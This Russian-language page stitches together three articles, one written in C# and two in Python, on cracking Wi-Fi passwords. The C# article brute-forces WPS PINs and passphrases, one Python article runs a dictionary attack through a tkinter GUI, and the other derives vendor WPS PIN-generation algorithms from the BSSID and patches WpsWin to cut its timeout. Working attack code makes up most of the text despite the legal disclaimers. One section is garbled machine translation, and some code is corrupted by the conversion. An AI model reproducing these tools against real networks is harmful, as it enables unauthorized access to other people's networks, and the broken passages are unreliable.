Как написать программу для взлома вайфая

Время на прочтение
7 мин

Количество просмотров 44K

Надежные и постоянно меняющиеся пароли — это здорово. Особенно когда они меняются и на Wi-Fi роутере и WPS на нем вообще отключен. В этом посте: сколько занимает перебор WPS pin и есть ли у этого практическое применение? А еще напишем программу для брутфорса на C#

Дисклеймер: информация представленная в публикации носит сугубо исследовательский характер для рассмотрения модели угрозы «брутфорс» (подбор пароля) с целью оценки защищенности тестового стенда и не является инструкцией к противоправным действиям. Исследование проводилось на тестовом стенде, состоящим из личного оборудования, не подключенного к сети интернет. Ответственность за противоправное использование полученной информации ложится на субъекта воспроизвевшего атаку не в исследовательских целях и против оборудования других субъектов.

Итак

Самый скучный но обязательный блок статьи позади, однако стоит вспомнить и про следующие статьи УК РФ:

  1. ст. 272 УК РФ. Неправомерный доступ к компьютерной информации

  2. ст. 273 УК РФ. Создание, использование и распространение вредоносных компьютерных программ

  3. ст. 138 УК РФ. Нарушение тайны переписки, телефонных переговоров, почтовых, телеграфных или иных сообщений

  4. ст. 159.6 УК РФ. Мошенничество в сфере компьютерной информации

Взламывать чужие Wi-Fi роутеры — это очень плохая идея.

Тем не менее, в качестве «proof of concept» попробуем воспроизвести брутфорс атаку на домашний роутер с использованием C#. Атака будет основана на использовании Native WiFi API и xml профилях.

Профили для Wi-Fi, на мой взгляд, заслуживает отдельной статьи и для меня стало большим удивлением, что существует получение профиля, например, прямо с сайта — об этом есть небольшая статья в документации Майкрософт. В кратце это работает так: xml с реквизитами для подключения подтягивается в системные настройки (а если точно, то в UWP приложение Настройки) и во всплывающем окне показывается какую сеть предлагается добавить. Как сказано в самой статье, это может быть использовано для добавления сети заранее, еще до посещения кафе/лаунджа/{you_name_it} где вещает сеть. Подробно элементы xml профиля описаны тут.

Атака будет производиться посредством генерации xml профиля в коде и его передачи в Native WiFi API — далее Windows выполнит попытку подключиться и, если удалось подобрать WPS pin, удачно использованный профиль останется в компьютере, а pin будет выведен на консоль.

Посмотреть уже существующие профили можно двумя способами: вручную и через консоль. Для ручного просмотра нужно зайти в C:ProgramDataMicrosoftWlansvcProfilesInterfaces и выбрать адаптер по его Id — узнать этот Id можно при небольшом дебаге подключаемой библиотеки или перебрав вручную. Для просмотра через консоль потребуются права администратора и пара команд — этот способ более удобен для точечного вытаскивания профиля к нужной сети:

netsh wlan show profile
netsh wlan export profile name="{Insert profile name}" folder=C:WlanProfiles

Чтобы не ошибиться со значениями и полями в xml профиле, можно сперва попытаться подключиться к атакуемой Wi-Fi сети с заведомо неправильным паролем — так Windows создаст xml файл за вас и далее останется лишь динамически подставлять пароли.

В примере xml профиль будет храниться в виде строки в коде и это не самый лучший подход к формированию xml, но его вполне хватит чтобы поиграться с попытками подключится к сети. На самом деле на сайте документации Майкрософт есть xsd схема по которой создаются xml профили, но почему-то в ней отсутствует секция «sharedKey», поэтому я решил хранить xml профиль просто строкой в коде как это описано на Stackoverflow. В целом для более «промышленного» решения можно сгенерировать классы через xsd.exe, но в конкретно этом случае придется сверяться с xml профилем атакуемой сети для поиска всех недостающих полей, так как вполне возможно что опубликованная xsd схема просто устарела.

С подобной атакой должен справиться любой Wi-Fi адаптер, но подбор пароля без стратегии и без параллелизации на несколько адаптеров займет много времени. Так перебор WPS pin одним адаптером и попыткой раз в 2 секунды может занять до 6.3 года или же до 2315 дней. Уместно будет вспомнить цитату, что «9 женщин не родят ребенка за месяц», ведь использование 9 адаптеров сократит подбор пароля до 257 дней — почти 9 месяцев :D

Шаг 1 — Подготовка решения

Для начала склониуйте проект ManagedWiFi — это обертка для доступа к сборке wlanapi.dll, которая даст доступ к Native WiFi API — последняя дает возможность просматривать состояние Wi-Fi адаптеров, сетей, и добавлять профили для подключения, что и будет использовано для воспроизведения атаки.

Здесь я отмечу, что в NuGet есть пакет ManagedWiFi, но во время подключения к Wi-Fi выпадало исключение — у меня это решилось ссылкой на скаченный проект, но может быть пакет заработает у вас с первого раза.

Далее создайте проект с консольным приложением и сделайте ссылку на проект ManagedWifi из скачанного репозитория либо добавьте одноименный пакет NuGet. Этот этап можно считать успешным, если получилось создать объект WlanClient, увидеть список адаптеров и вывести список доступных сетей:

WlanClient client = new ();
foreach (WlanClient.WlanInterface wlan in client.Interfaces)
{
  	wlan.Scan();
  	Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0);
  	foreach (Wlan.WlanAvailableNetwork network in networks)
    {
      	string ssid = Encoding.Default.GetString(network.dot11Ssid.SSID);
      	Console.WriteLine(ssid);
    }
}

Шаг 2 — профиль для Wi-Fi

Профиль будет собираться из трех составляющих: название профиля, hex значение названия SSID и WPS pin c которым будет выполняться попытка подключения, а все остальные поля возьмем из xml профиля с которым ранее пытались подключиться к аналогичной сети. Для теста попробуем подключиться к сети с защитой WPA2PSK/AES, которую нашли выше:

string key = "00000001"; // А еще сюда можно вписать заранее (не)известный пароль
string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID);
byte[] hexBytes = Encoding.Default.GetBytes(profileName);
string hex = BitConverter.ToString(hexBytes).Replace("-", "");

string profileXml = string.Format(
                "<?xml version="1.0"?><WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><autoSwitch>false</autoSwitch><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>{2}</keyMaterial></sharedKey><keyIndex>0</keyIndex></security></MSM></WLANProfile>",
                profileName, hex, key);

Как было сказано в самом начале, на каждую попытку будет создаваться такой xml профиль, а уже существующий профиль для атакуемой сети будет перезаписываться. Далее при вызове метода Connect, будет передаваться имя профиля по которому нужно выполнить соединение:

try
{
  wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
  wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);
  await Task.Delay(2 * 1000);
}
catch (Exception e)
{
  Console.WriteLine(e);
}

Шаг 3

Соберем все что получилось в одном месте и попробуем запустить:

using System.Text;
using NativeWifi;

// Берем первый попавшийся Wi-Fi адаптер
WlanClient client = new ();
WlanClient.WlanInterface wlan = client.Interfaces[0];
wlan.Scan();
Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0);
if (networks.Length == 0)
{
  OutputExtensions.PrintRow("No networks found");
  return;
}

// Отбираем сеть по её названию
Wlan.WlanAvailableNetwork network = networks
        .FirstOrDefault(n => Encoding.Default.GetString(n.dot11Ssid.SSID) == "desired_network_name");

// Подготавливаем данные для создания профиля
string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID);
byte[] hexBytes = Encoding.Default.GetBytes(profileName);
string hex = BitConverter.ToString(hexBytes).Replace("-", "");

// Перебираем значения WPS pin - максимум 8 цифр.
// Также же тут можно сделать перебор по словарю утекших паролей
for (int i = 0; i < 99999999; i++)
{
  string wpsPin = $"{i}";
  wpsPin = new string('0', 8 - wpsPin.Length) + wpsPin;
  Console.WriteLine($"Trying pin {wpsPin}");
	
  string profileXml = string.Format(
    "<?xml version="1.0"?><WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><autoSwitch>false</autoSwitch><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>{2}</keyMaterial></sharedKey><keyIndex>0</keyIndex></security></MSM></WLANProfile>",
    profileName, hex, wpsPin);

  try
  {
    wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
    wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);
    // Тут задается время ожидания для попытки
    // В моей конфигурации это 2 секунды, но
    // время придется подбирать вручную
    await Task.Delay(2 * 1000);
  }
  catch (Exception e)
  {
    Console.WriteLine(e);
  }

  if (wlan.CurrentConnection.isState == Wlan.WlanInterfaceState.Connected)
  {
    Console.WriteLine($"WPS pin is {wpsPin}");
    break;
  }

  Console.WriteLine($"WPS pin {wpsPin} did not work");
}

Вместо заключения

Как оказалось, написать программу для подбора WPS pin на C# можно, а кроме просто перебора цифр при небольших доработках можно даже перебрать пароли из файла.

Практического смысла в этой программе крайне мало, но как минимум что-то можно переиспользовать для обновления Wi-Fi профилей в корпоративных ноутбуках либо провести другой вид атаки и, например, заставить нужное устройство подключиться к «правильной» сети.

В свободном доступе давно существует aircrack-ng и при минимальных знаниях можно в разумное время подобрать пароль к сети просто следуя гайду. И помните: взламывать чужие Wi-Fi роутеры — это очень плохая идея.

Привет всем, сегодня я говорю о небольшой программе для взлома паролей Wi-Fi. Конечно, как обычно, чтобы упростить использование программы, мы будем использовать GUI (tkiner) для создания интерактивного интерфейса. Для взлома большинство программ только Может сделать простой сбой базы данных, найти книгу паролей, попробовать одну за другой, использовать много времени и энергии для взлома пароля, и большинство программ взлома — это один процесс, один поток … И для некоторых хакеров они Используемые методы часто представляются высокоуровневыми, такими как общие«рыбная ловля» Приблизительно используйте свою собственную сетевую карту, чтобы атаковать сетевую карту другой стороны, взломать сетевую карту другой стороны, парализовать ее, а затем появиться с Wi-Fi с тем же именем, заставляя другую сторону ошибочно думать, что существует проблема с их маршрутизатором и необходимо обновить, в то время как другая сторона вводит свой реальный пароль … …
Позвольте мне рассказать о коде, который я выучил. Этот код написан на основе чужого кода. Это только то, что я узнал. Я должен сказать, что предыдущий преподаватель университета сказал нам: «Домашнее задание по миру» «Большая копия», но скопируйте свои чувства и отправляйтесь в грязь! Заранее спасибо тем пользователям сети, которые мне помогли.

Простой код выглядит следующим образом

from tkinter import *
from pywifi import const
import pywifi
import time

# Основные шаги:
# 1, получите первую беспроводную сетевую карту
# 2. Отключить все Wi-Fi
# 3. Прочитайте книгу паролей
# 4, установите время сна

# Тестирование соединения
def wificonnect(str,wifiname):
    # Окно беспроводного объекта
    wifi = pywifi.PyWiFi()
    # Возьмите первую беспроводную сетевую карту
    ifaces = wifi.interfaces()[0]
    # Отключить все Wi-Fi
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status()==const.IFACE_DISCONNECTED:
        # Создать файл подключения Wi-Fi
        profile = pywifi.Profile()
        profile.ssid = wifiname
        # алгоритм шифрования wifi
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # Wi-Fi пароль
        profile.key = str
        # Разработка NIC
        profile.auth = const.AUTH_ALG_OPEN
        # Модуль шифрования, здесь вам нужно написать какой-то модуль шифрования, или вы не можете подключиться
        profile.cipher = const.CIPHER_TYPE_CCMP

        # Удалить все файлы Wi-Fi
        ifaces.remove_all_network_profiles()
        # Установите новый файл подключения
        tep_profile = ifaces.add_network_profile(profile)
        # Подключиться
        ifaces.connect(tep_profile)
        time.sleep(3)

        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False


def readPwd():
    # Получить имя
    wifiname = entry.get().strip()

    path = r'./wifipwd.txt'
    file = open(path,'r')
    while True:
        try:
            # Читать
            mystr = file.readline().strip()
            # Тестовое соединение
            bool = wificonnect(mystr,wifiname)
            if bool:
                text.insert(END,«Пароль правильный»+mystr)
                text.see(END)
                text.update()
                file.close()
                break
            else:
                text.insert(END,'неправильный пароль'+mystr)
                text.see(END)
                text.update()

        except: continue

# Создать окно
root = Tk()
root.title(Wi-Fi трещина)
root.geometry('500x400')

# Теги
label = Label(root,text=«Введите имя WIFI для взлома:»)
#targeting
label.grid()
# Контроль ввода
entry  = Entry(root,font=("Microsoft Yahei",14))
entry.grid(row=0,column=1)
# Управление списком
text =Listbox(root,font=("Microsoft Yahei",14),width=40,height=10)
text.grid(row=1,columnspan=2)
Кнопка #
button = Button(root,text = «Начать трескаться»,width=20,height=2,command=readPwd)
button.grid(row=2,columnspan=2)

# Окно дисплея
root.mainloop()

Общий эффект выглядит следующим образом:

Выше был написан мной, он более общий, и есть много необходимых не функциональных кодов функций, таких как закрытие окна и книга паролей (здесь простая книга паролей)

Код обновления

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog # Открыть просмотр файлов в Gui
import tkinter.messagebox # Открыть окно напоминания о сообщении

class MY_GUI():
	def __init__(self,init_window_name):
		self.init_window_name = init_window_name

		# Путь к файлу пароля
		self.get_value = StringVar() # Установить переменное содержимое

		# Получить взломать Wi-Fi аккаунт
		self.get_wifi_value = StringVar()

		# Получить пароль Wi-Fi
		self.get_wifimm_value = StringVar()

		self.wifi = pywifi.PyWiFi()  # Захватить сетевой интерфейс
		self.iface = self.wifi.interfaces()[0] # Возьмите первую беспроводную карту
		self.iface.disconnect()  # Тестовая ссылка отключить все ссылки
		time.sleep(1)  # Спать в течение 1 секунды
		# Проверьте, отключена ли сетевая карта
		assert self.iface.status() in
				[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

	def __str__(self):
        # Автоматический вызов функции, возврат к собственной сетевой карте
		return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())

	# Окно настроек
	def set_init_window(self):
		self.init_window_name.title("WIFI Crack Tool")
		self.init_window_name.geometry('+500+200')

		labelframe = LabelFrame(width=400, height=200,text=«Конфигурация»)  #Framework, следующие объекты добавлены для labelframe
		labelframe.grid(column=0, row=0, padx=10, pady=10)

		self.search = Button(labelframe,text="Поиск поблизости WiFi",command=self.scans_wifi_list).grid(column=0,row=0)

		self.pojie = Button(labelframe,text=«Начать взламывать»,command=self.readPassWord).grid(column=1,row=0)

		self.label = Label(labelframe,text="Путь к каталогу:").grid(column=0,row=1)

		self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1)

		self.file = Button(labelframe,text=«Добавить каталог файлов паролей»,command=self.add_mm_file).grid(column=2,row=1)

		self.wifi_text = Label(labelframe,text="WiFi аккаунт:").grid(column=0,row=2)

		self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2)

		self.wifi_mm_text = Label(labelframe,text=«Пароль WiFi:»).grid(column=2,row=2)

		self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W)

		self.wifi_labelframe = LabelFrame(text="Список Wi-Fi")
		self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW)


		# Определить древовидную структуру и полосу прокрутки
		self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d"))
		self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
		self.wifi_tree.configure(yscrollcommand=self.vbar.set)

		# Название таблицы
		self.wifi_tree.column("a", width=50, anchor="center")
		self.wifi_tree.column("b", width=100, anchor="center")
		self.wifi_tree.column("c", width=100, anchor="center")
		self.wifi_tree.column("d", width=100, anchor="center")

		self.wifi_tree.heading("a", text="WiFiID")
		self.wifi_tree.heading("b", text="SSID")
		self.wifi_tree.heading("c", text="BSSID")
		self.wifi_tree.heading("d", text="signal")

		self.wifi_tree.grid(row=4,column=0,sticky=NSEW)
		self.wifi_tree.bind("<Double-1>",self.onDBClick)
		self.vbar.grid(row=4,column=1,sticky=NS)

	# Поиск Wi-Fi
	#cmd /k C:Python27python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT
	def scans_wifi_list(self):  # Сканирование окружающего списка Wi-Fi
		# Начать сканирование
		print("^ _ ^ Начать сканирование ближайшего Wi-Fi ...")
		self.iface.scan()
		time.sleep(15)
		# Получить результаты сканирования через несколько секунд
		scanres = self.iface.scan_results()
		# Подсчитайте количество точек доступа, найденных поблизости
		nums = len(scanres)
		print(«Количество:% s»%(nums))
		#print ("| %s |  %s |  %s | %s"%("WIFIID","SSID","BSSID","signal"))
		# Фактические данные
		self.show_scans_wifi_list(scanres)
		return scanres

	# Показать список Wi-Fi
	def show_scans_wifi_list(self,scans_res):
		for index,wifi_info in enumerate(scans_res):
            # print("%-*s| %s | %*s |%*sn"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
			self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
			#print("| %s | %s | %s | %s n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))

	# Добавить каталог файлов паролей
	def add_mm_file(self):
		self.filename = tkinter.filedialog.askopenfilename()
		self.get_value.set(self.filename)

	# Связывающие события дерева
	def onDBClick(self,event):
		self.sels= event.widget.selection()
		self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])
		#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])

	# Прочитать словарь паролей, чтобы соответствовать
	def readPassWord(self):
		self.getFilePath = self.get_value.get()

		self.get_wifissid = self.get_wifi_value.get()

		pwdfilehander=open(self.getFilePath,"r",errors="ignore")
		while True:
				try:
					self.pwdStr=pwdfilehander.readline()

					if not self.pwdStr:
						break
					self.bool1=self.connect(self.pwdStr,self.get_wifissid)

					if self.bool1:
						self.res = "=== правильно === имя wifi:% s совпадает с паролем:% s"%(self.get_wifissid,self.pwdStr)
						self.get_wifimm_value.set(self.pwdStr)
						tkinter.messagebox.showinfo('Подсказка', «Успешная трещина! ! ! ')
						print(self.res)
						break
					else:
						self.res = "--- Ошибка --- имя wifi:% s соответствует паролю:% s"%(self.get_wifissid,self.pwdStr)
						print(self.res)
					sleep(3)
				except:
					continue
	# Сопоставить WiFi и пароль
	def connect(self,pwd_Str,wifi_ssid):
		# Создать файл ссылки wifi
		self.profile = pywifi.Profile()
		self.profile.ssid =wifi_ssid #wifiName
		self.profile.auth = const.AUTH_ALG_OPEN  # Открытие сетевой карты
		self.profile.akm.append(const.AKM_TYPE_WPA2PSK)# алгоритм шифрования wifi
		self.profile.cipher = const.CIPHER_TYPE_CCMP    Блок шифрования
		self.profile.key = pwd_Str #пароль
		self.iface.remove_all_network_profiles() # Удалить все файлы Wi-Fi
		self.tmp_profile = self.iface.add_network_profile(self.profile)# Установить новый файл ссылки
		self.iface.connect(self.tmp_profile)#ссылка на сайт
		time.sleep(5)
		if self.iface.status() == const.IFACE_CONNECTED:  # Решить, подключаться ли
			isOK=True
		else:
			isOK=False
		self.iface.disconnect() #Отключить
		time.sleep(1)
		# Проверьте состояние отключения
		assert self.iface.status() in
				[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
		return isOK

def gui_start():
	init_window = Tk()
	ui = MY_GUI(init_window)
	print(ui)
	ui.set_init_window()
	#ui.scans_wifi_list()

	init_window.mainloop()

gui_start()

Объектно-ориентированный подход интереснее, его можно выучить!

Взлом WiFi Python

Содержание

  • 1 Откуда берут стандартный PIN
  • 2 Генерация WPS PIN на примере
  • 3 Подготовка и требования
    • 3.1 Автозапуск с правами администратора
  • 4 Разработка
    • 4.1 Немного реверса
    • 4.2 Подключение по WPS
    • 4.3 Угадываем WPS PIN
  • 5 Тестирование утилиты
  • 6 Дополнительные фичи
  • 7 Выводы

Работа пентестера основана на законом взломе и довольно часто возникает необходимость подключиться к WiFi, не зная пароль. Технология WPS уже давно помогает пентестерам взламывать WiFi. В нашей сегодняшней статье мы посмотрим, как самостоятельно реализовать атаку на WiFi, основанную на слабостях алгоритмов генерации WPS PIN.

Еще по теме: Лучшие хакерские программы для взлома со смартфона

Большинство сегодняшних роутеров поддерживает стандарт WPS (Wi-Fi Protected Setup), который дает возможность меньше чем за минуту установить надежное соединение между устройством и маршрутизатором, минуя этап настройки шифрования и ввода пароля. Девайсы подключаются по отдельному восьмизначному ключу WPS PIN, который состоит из цифр. Восьмая цифра — дайджест.


Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция сайта www.spy-soft.net, ни автор не несут никакой ответственности за любой возможный вред, причиненный материалами этой статьи. Взлом WiFi преследуется по закону!

Из всего разнообразия методов взлома WiFi:

  • подбор ПИН-кода или ключа безопасности методом перебора (брутфорс);
  • использование уязвимостей реализации;
  • социальная инженерия;
  • использование слабостей генерации ПИН-кодов.

В сегодняшней статье мы рассмотрим последний метод из списка.


Атака WPS Pixie Dust уже морально устарела, однако и сегодня мне встречаются подверженные ей роутеры. Проблема кроется в генерации случайных чисел и позволяет не ломать все восемь цифр в лоб, а угадывать лишь четыре из них, так как оставшиеся можно получить из ответов роутера.

Откуда берут стандартный PIN

При покупке маршрутизатора, в нем уже содержится полученный специальным алгоритмом WPS PIN для начального подключения к роутеру через WPS. WPS PIN состоит из восьми цифр. Как производители роутеров его получают? Очевидно, что нужно нечто уникальное для идентификации и генерации различных значений. Правильно — это MAC устройства, который мы можем получить из широковещательного BSSID.


BSSID (Basic Service Set Identifier) — уникальный идентификатор беспроводной сети. Часто BSSID совпадает с MAC-адресом устройства Ethernet MAC.

Генерация WPS PIN на примере

Как вы уже поняли, все начинается с BSSID. Подключаем к сети наш сeксуaльный роутер.

взлом wifi python

Страстный роутер ждет взлома

Анализируем любым удобным способом (например, Dumpper).

взлом wifi python

Dumpper внятным языком рассказывает нам о близлежащих беспроводных сетях

BSSID получили: C4:6E:1F:6A:8D:04.

Пришло время пошалить: открываем браузер и начинаем искать на различных (в том числе и на буржуйских) сайтах и форумах, как работают алгоритмы генерации PIN-кодов у конкретного производителя сетевого оборудования. Если нет желание это делать, то всегда можно «выдернуть» эти функции из сторонних программных продуктов с открытым исходным кодом.

Предположим, мы нашли, что большинство стареньких роутеров этого вендора используют алгоритм генерации ПИН-кода из последних трех октетов MAC-адреса устройства: 24-bit PIN = MAC[7..12].

Вот реализация этого алгоритма на Python.

from math import floor

MAC = ‘C46E1F6A8D04’

One = Two = (int(MAC, 16) & 0xFFFFFF) % 10000000

Var1 = 0

While Two:

  Var1 += 3 * (Two % 10)

  Two = floor(Two / 10)

  Var1 += Two % 10

  Two = floor(Two / 10)

Var2 = (One * 10) + ((10 (Var1 % 10)) % 10)

Var3 = str(int(Var2))

result = Var3.zfill(8)

Результатом работы скрипта будет ПИН-код 69829161. Проверим его достоверность.

взлом wifi python

Полученный WPS PIN идентичен стандартному (заводскому)

Подготовка и требования

Приступим. При разработке собственной утилиты для тестирования беспроводных точек доступа нам потребуется:

  • Windows 7 и выше;
  • Python 3 и выше;
  • удобная IDE;
  • любимый браузер;
  • личный маршрутизатор Wi-Fi с технологией WPS «для пыток»;
  • WpsWin (входит в состав того самого Dumpper);
  • IDA и Hex-Rays Tool.

Сразу, забегая вперед, скажу, что запускать готовый скрипт нужно будет с правами администратора. Можно с этим либо согласиться и перейти непосредственно к разработке, либо читать дальше.

Автозапуск с правами администратора

Для автозапуска мы будем использовать следующий код:

import ctypes, sys

if ctypes.windll.shell32.IsUserAnAdmin():

  if __name__ == «__main__»:

    main()

else:

  ctypes.windll.shell32.ShellExecuteW(None, «runas», sys.executable, __file__, None, 1)

Теперь при попытке запустить скрипт вызов будет передан на UAC (если активен) и откроется новое окно терминала, где наш код выполнится от под администратором.

Если такой вариант не устраивает, то всегда можно воспользоваться готовыми решениями.

  • pyuac — готовый скрипт для повышения прав в Windows
  • Bypassing Windows 10 UAC With Python — статья на ту же тему
  • How to run python script with elevated privilege on windows — разбор вопроса на StackOverflow

Разработка

Прежде всего добавим алгоритм подсчета дайджеста MAC-адреса (он уже был выше):

from math import floor

def checksum(mac):

  mac %= 10000000

  var = 0

  temp = mac

  while temp:

    var += 3 * (temp % 10)

    temp = floor(temp / 10)

    var += temp % 10

    temp = floor(temp / 10)

  return (mac * 10) + ((10 (var % 10)) % 10)

А также несколько функций генерации заветных ПИН-кодов.

Это далеко не полный список существующих алгоритмов, поэтому оставшиеся варианты будут вашим домашним заданием.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

def pin24(BSSID):

  temp = int(BSSID,16) & 0xFFFFFF

  temp = checksum(temp)

  temp = str(int(temp))

  return temp.zfill(8)

def pinDLink(BSSID):

  temp = (int(BSSID, 16) & 0xFFFFFF) ^ 0x55AA55

  temp ^= ((temp & 0xF) << 4) | ((temp & 0xF) << 8) | ((temp & 0xF) << 12) | ((temp & 0xF) << 16) | ((temp & 0xF) << 20)

  temp %= 10000000

  if temp < 1000000:

    temp += ((temp % 9) * 1000000) + 1000000

  temp = checksum(temp)

  temp = str(int(temp))

  return temp.zfill(8)

def pinDLinkInc1(BSSID):

  temp = int(BSSID, 16) + 1

  return pinDLink(hex(temp))

def pinASUS(BSSID):

  temp = format(int(BSSID, 16), ’02x’)

  temp = str(temp).zfill(12)

  var = [int(temp[0:2], 16), int(temp[2:4], 16), int(temp[4:6], 16), int(temp[6:8], 16),

     int(temp[8:10], 16), int(temp[10:12], 16)]

  pin = []

  for i in range(7):

    pin.append((var[i % 6] + var[5]) % (10 ((i + var[1] + var[2] + var[3] + var[4] + var[5]) % 7)))

  temp = int(».join(str(i) for i in pin))

  temp = checksum(temp)

  temp = str(int(temp))

  return temp.zfill(8)

Немного реверса

Разумеется, нужен способ проверить получившиеся ПИН-коды. В этом нам и поможет WpsWin. Эта утилита позволяет подключиться к беспроводной точке доступа посредством технологии WPS. Но какие параметры ей передавать? Расчехляем IDA, подгружаем наш PE и исследуем.

Вот что нам необходимо проделать с исполняемым файлом:

  • найти передаваемые аргументы для взаимодействия через командную строку;
  • отыскать сообщения об успешных, неудачных и ошибочных результатах подключения;
  • пропатчить PE с целью сокращения тайм-аута на подключение к маршрутизатору.

Первая нужная функция находится по адресу 0x004012A0.

взлом wifi на python

Все аргументы командной строки как на ладони

Вторую можно найти по 0x00403370, а третья — это локальная метка основной функции.

взломать wifi python

Ошибка при невозможности подключения к беспроводной точке доступа
взломать wifi на python
Сообщение о некорректном ключе для подключения

По дефолту время тайм-аута соединения с роутером равно девяноста секундам.
Мы столько ждать не готовы, поэтому уменьшаем это время до (приблизительно) пяти секунд.

Само значение передается аргументом второй, найденной нами функции.

взломать wifi на python

Долой длительное ожидание

Патчим через «Edit → Patch program → Assemble…» и сохраняем.

взломать wifi на python

Да здравствует маленький тайм-аут!

Подключение по WPS

Продолжаем дописывать наш код. Запускаем WpsWin, передавая ему параметры для подключения к конкретной беспроводной сети, после чего благополучно перехватываем вывод и проверяем результат.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

import subprocess

import sys

from time import sleep

def run_command(cmd):

  p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)

  for LINE in iter(p.stdout.readline, b»):

    if LINE:

      yield LINE

  while p.poll() is None:

    sleep(.1)

  err = p.stderr.read()

  if p.returncode != 0:

    print («» + err)

def connect(ESSID, PIN):

  cmd = ‘WpsWin.exe Action=Registrar ESSID=»%s» PIN=%s’ % (ESSID, str(PIN))

  sleep(1)

  for LINE in run_command(cmd):

    LINE = LINE.decode(‘cp866’)

    if «Asociacion fallida» in LINE:

      print («Connection with %s hasn’t been established!» % ESSID)

      return

    elif «Pin incorrecto» in LINE:

      print(«Pin invalid!»)

      return

    elif «Wpa Key» in LINE:

      print(«nTRUE PIN FOUND!nGetting the Wi-Fi password…n»)

      print(LINE)

      sleep(5)

      input()

      sys.exit()

К сожалению, WpsWin не позволяет отобразить список близлежащих сетей с поддержкой WPS, как это делает wash в Linux, а значит, нам остается реализовать эту функцию самим.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

import re

def main():

  network = 0

  results = run_command(«netsh wlan show networks mode=bssid»)

  results = [i for i in results]

  ssids = []

  bssids = []

  for line in results:

    line = line.decode(‘cp866’)

    if «BSSID» in line:

      bssids.append(re.sub(‘BSSID [d]+:’, », line.strip()).strip())

    elif «SSID» in line:

      ssids.append(re.sub(‘SSID [d]+:’, », line.strip()).strip())

  i = 0

  print («Available wireless networks at the moment:n»)

  for j in ssids:

    i += 1

    print («%d — %s» % (i, j))

  while (network == «») or (int(network) < 1) or (int(network) > i):

    print

    network = input(«nChoose the wireless network > «)

  network = int(network) 1

  macbssid = bssids[network].upper()

  mac = macbssid.replace(«:», «»).replace(«-«, «»).replace(» «, «»).replace(«.», «»)

  wifiname = ssids[network]

Угадываем WPS PIN

Еще несколько десятков кликов по клавиатуре, и код готов.

  algos = [pin24, pinDLink, pinDLinkInc1, pinASUS]

  for i in algos:

    pin = i(mac)

    print («nTrying connect to %s via %s technique with PIN: %s» % (wifiname,i.__name__,pin))

    connect(wifiname,pin)

    sleep(3)

Тестирование утилиты

Запускаем скрипт из терминала Windows. Выбираем беспроводную сеть. Профит!

утилита для взлома wifi на python

Удивительно, но программа работает
программа на python для взлома wifi
Вознаграждение за труды

Дополнительные фичи

Если же вам, дорогой читатель, захочется модернизировать этот код, то вот несколько интересных идей для реализации.

  1. Переписать утилиту с использованием встроенной библиотеки cmd, которая имитирует CLI.
  2. Придумать иной способ получения списка беспроводных сетей.
  3. Отыскать все возможные алгоритмы генерации WPS PIN у разных производителей.
  4. Добавить проверку на наличие у беспроводной точки доступа технологии WPS.
  5. Создать счетчик неудачных попыток ассоциации, что поможет выявить вероятную блокировку (Lock) или использование межсетевого экранирования в беспроводной сети.
  6. Добавить звуковое оповещение, когда будет найден верный ПИН-код.

Выводы

Что у нас есть по результатам:

  • +10 к интеллекту скиллу разработки средств автоматизированного тестирования;
  • небольшой список алгоритмов генерации ПИН-кодов;
  • работающая утилита тестирования слабостей генерации WPS PIN;
  • пароль от беспроводной сети.

